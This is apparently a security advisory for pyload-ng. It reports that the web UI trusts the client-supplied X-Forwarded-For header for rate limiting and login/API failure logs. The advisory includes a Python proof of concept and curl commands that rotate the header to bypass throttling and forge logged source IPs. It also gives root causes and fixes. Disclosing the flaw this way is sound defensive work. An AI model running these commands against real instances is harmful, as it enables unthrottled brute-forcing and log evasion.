GHSA-9q47-3cm2-2rp8: Pip/pyload-ng vulnerability
Summary
pyLoad determines the "client IP" used for its rate-limiting decorator and for its security/audit logging by reading the client-supplied X-Forwarded-For (XFF) HTTP header and taking the leftmost value. No trusted-proxy configuration exists (the Cheroot WSGI server faces clients directly, and there is no ProxyFix middleware). Because any client can freely set this header, an attacker can (1) completely bypass rate limiting by rotating the header on each request, and (2) forge the source IP recorded in security logs for login and API-key authentication failures, defeating IP-based blocking (e.g. fail2ban) and poisoning attribution.
Severity
Medium — CVSS 3.1: AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:L (~5.3)
- CWE-807: Reliance on Untrusted Inputs in a Security Decision - CWE-290: Authentication Bypass by Spoofing - CWE-348: Use of Less Trusted Source
Affected Version
pyLoad 0.5.0b3 (built from the develop branch). Confirmed still present and exploitable in the later pyload-develop-2 snapshot (the affected files are byte-identical between the two; the develop-2 changes only touched the unrelated API-key cache).
Affected Component
Web UI request handling — client-IP derivation used by rate limiting and security logging.
- src/pyload/webui/app/helpers.py:446 — inside the ratelimit() decorator; derives the per-IP bucket key. - src/pyload/webui/app/helpers.py:357 — API-key authentication success/failure logging. - src/pyload/webui/app/blueprints/appblueprint.py:81 — web login success/failure logging. - src/pyload/webui/webserverthread.py — Cheroot serves the Flask app directly; no reverse-proxy trust boundary or ProxyFix. - Consumer: src/pyload/webui/app/blueprints/apiblueprint.py:25 applies @ratelimit(count=100, period=60) to the /api/<func> RPC endpoint.
Description:
All three locations derive the client IP with the identical expression:
python clientip = flask.request.headers.get("X-Forwarded-For", "").split(",")[0].strip() or flask.request.remoteaddr
X-Forwarded-For is an HTTP request header fully controlled by the client. The code takes split(",")[0] — the leftmost token — which is always the value supplied by the original client (a proxy appends its own value to the right). Only when the header is entirely absent does the code fall back to request.remoteaddr (the real TCP peer). There is no configured trusted-proxy count, and pyLoad's server (Cheroot) terminates client connections directly, so remoteaddr is the true peer and the XFF value is untrusted attacker input.
Two security decisions are made on this untrusted value:
1. Rate limiting (ratelimit()): the decorator keeps requesthistory[clientip] and enforces count requests per period per clientip. Since clientip is attacker-controlled, sending a distinct value each request creates a distinct bucket, so the counter never accumulates and the limit never triggers. 2. Audit logging: login-failure and API-auth-failure log lines embed [CLIENT: {clientip}] using the same spoofable value, so the recorded source address is chosen by the attacker.
Notably, the codebase is internally inconsistent: isloopbackrequest() (helpers.py:288) treats the presence of X-Forwarded-For / X-Real-IP / Forwarded as a reason to distrust an apparent loopback source, while the rate-limit and logging paths naively trust the same header — indicating the trust here is unintended.
Proof of Concept
The ratelimit() decorator's actual source (bytes read from pyload-develop-2/src/pyload/webui/app/helpers.py, lines 416–514) was executed under a real Flask test client. Rate limit set to 5/60s for brevity (identical logic to the production 100/min):
python import ast, math, time from functools import wraps import flask
HELPERS = ".../pyload-develop-2/src/pyload/webui/app/helpers.py" src = open(HELPERS).read() node = next(n for n in ast.parse(src).body if isinstance(n, ast.FunctionDef) and n.name == "ratelimit") ns = {"flask": flask, "time": time, "math": math, "wraps": wraps} exec(compile(ast.getsourcesegment(src, node), HELPERS, "exec"), ns) ratelimit = ns["ratelimit"]
def buildapp(): app = flask.Flask(name) @app.route("/api/ping") @ratelimit(count=5, period=60) def ping(): return flask.json.jsonify({"ok": True}) return app
def run(hdr): app = buildapp() with app.testclient() as c: return [c.get("/api/ping", headers=hdr(i)).statuscode for i in range(8)]
print("FIXED XFF:", run(lambda i: {"X-Forwarded-For": "203.0.113.9"})) print("ROTATE XFF:", run(lambda i: {"X-Forwarded-For": f"10.0.0.{i}"}))
Output:
FIXED XFF: [200, 200, 200, 200, 200, 429, 429, 429] # limit enforced ROTATE XFF: [200, 200, 200, 200, 200, 200, 200, 200] # 0x 429 -> limit bypassed server log during FIXED run: WARNING in helpers: Rate limit exceeded for IP 203.0.113.9: 5 requests in 60 (limit: 5/60)
Derivation check (XFF present, real peer is loopback):
python request with header X-Forwarded-For: 8.8.8.8 and REMOTEADDR 127.0.0.1 clientip = request.headers.get("X-Forwarded-For","").split(",")[0].strip() or request.remoteaddr -> clientip == "8.8.8.8" (the spoofed value wins over the real remoteaddr)
Equivalent against a live instance:
bash Rate limit never trips regardless of volume: for i in $(seq 1 500); do curl -s -o /dev/null -H "X-API-Key: pl1<valid-key>" \ -H "X-Forwarded-For: 10.0.0.$((RANDOM%255))" \ http://127.0.0.1:8000/api/getserverversion done # no HTTP 429 is ever returned
Forged source IP in the audit log: curl -s -o /dev/null -H "X-Forwarded-For: 8.8.8.8" \ --data 'username=admin&password=wrong' http://127.0.0.1:8000/login server log: Login failed for user 'admin' using Web Client [CLIENT: 8.8.8.8]
Steps To Reproduce
1. Start a pyLoad instance directly exposed (no reverse proxy), as in a default deployment. 2. Obtain any valid API key (or use the login endpoint) so requests reach the rate-limited / logged code paths. 3. Send more than the configured limit of requests to a @ratelimit-protected endpoint (e.g. /api/getserverversion) while setting a different X-Forwarded-For value on each request. Observe that no 429 Too Many Requests is ever returned. 4. Control: repeat step 3 with a fixed X-Forwarded-For value; observe 429 after the limit, proving the bucket is keyed on the header value. 5. Send a failed login (or failed API-key request) with X-Forwarded-For: 8.8.8.8 and inspect the server log; the failure is attributed to 8.8.8.8 rather than the real client address.
Impact
- Rate limiting on the authenticated API (/api/<func>, 100/min) and any other @ratelimit-protected endpoint provides no protection against a single attacker, who can issue unlimited requests — enabling resource abuse and unthrottled brute-forcing of anything reachable through those endpoints. - Security/audit logs cannot be trusted for source attribution. An attacker can stamp every malicious request with an arbitrary or innocent third-party IP, evading IP-based blocklists / fail2ban and misdirecting incident response. - Amplifies other authentication weaknesses (e.g. the absence of throttling on /login), since even the throttling that does exist elsewhere is defeated and the attacker's IP is unlogged.
Root Causes
1. A client-controlled HTTP header (X-Forwarded-For) is used directly in security decisions (rate-limit bucketing and audit attribution) without any trusted-proxy validation (CWE-807). 2. The leftmost XFF token is selected, which is always the value supplied by the original client; this is spoofable both in direct-exposure and behind-a-proxy deployments (CWE-348). 3. No ProxyFix / trusted-proxy-hop configuration exists, and the server terminates client connections directly, so there is no basis for trusting forwarded headers at all. 4. Inconsistent handling across the codebase (loopback checks distrust these headers while rate-limit/logging trust them) indicates the trust is accidental rather than designed.
Suggested Fix
1. By default, use request.remoteaddr (the real TCP peer) for rate limiting and logging; do not trust X-Forwarded-For unless a proxy is explicitly configured. 2. Add an explicit, operator-configured trusted-proxy count (default 0 = trust none). When set, apply Werkzeug's ProxyFix(app.wsgiapp, xfor=N) and read the correct hop (the value inserted by the trusted proxy — typically the Nth-from-right token — not the leftmost client-supplied token). 3. Derive the trusted client IP once in a single helper and use it consistently for rate limiting, logging, and the loopback checks, removing the duplicated inline expressions. 4. Consider defense-in-depth: cap the number of distinct rate-limit buckets and/or additionally rate-limit on remoteaddr so a spoofed header cannot create unbounded buckets.
Invariant to restore: security decisions and audit attribution must be based on a connection-level or trusted-proxy-validated address, never on a raw client-supplied header.
Affected Software
Remediation
Recommended actions to resolve this vulnerability, in priority order.
- Configuration
By default, use request.remote_addr (the real TCP peer) for rate limiting and security logging, and do not trust X-Forwarded-For. If deployment is behind a trusted proxy, explicitly configure the trusted-proxy count and use Werkzeug ProxyFix(app.wsgi_app, x_for=N) to read the correct trusted hop. Derive the client IP once in a shared helper and use it consistently for rate limiting and logging.
pyLoad Web UI client-IP derivation trusted-proxy count and client-IP source = 0 (trust none)
Event History
Frequently Asked Questions
Which deployments are exposed?
Deployments exposing the pyLoad Web UI request handler to clients are affected. The Cheroot WSGI server accepts client connections directly, and the affected implementation has no trusted-proxy configuration or ProxyFix middleware.
Does exploitation require an authenticated account?
No. An attacker can send HTTP requests with a chosen X-Forwarded-For header and rotate its leftmost value between requests. The advisory rates the issue as requiring no privileges and no user interaction.
What protections can be bypassed or misled?
Rate limiting can be bypassed by changing the supplied header value per request. Login and API-key authentication failure logs can also record attacker-chosen source IP addresses, which can undermine IP-based blocking such as fail2ban and make attribution unreliable.
Can existing security logs identify the real client IP for suspicious requests?
Not reliably when the recorded IP was derived from X-Forwarded-For. A client can forge the leftmost header value, so affected login and API-key failure records may contain an attacker-selected address rather than the true source.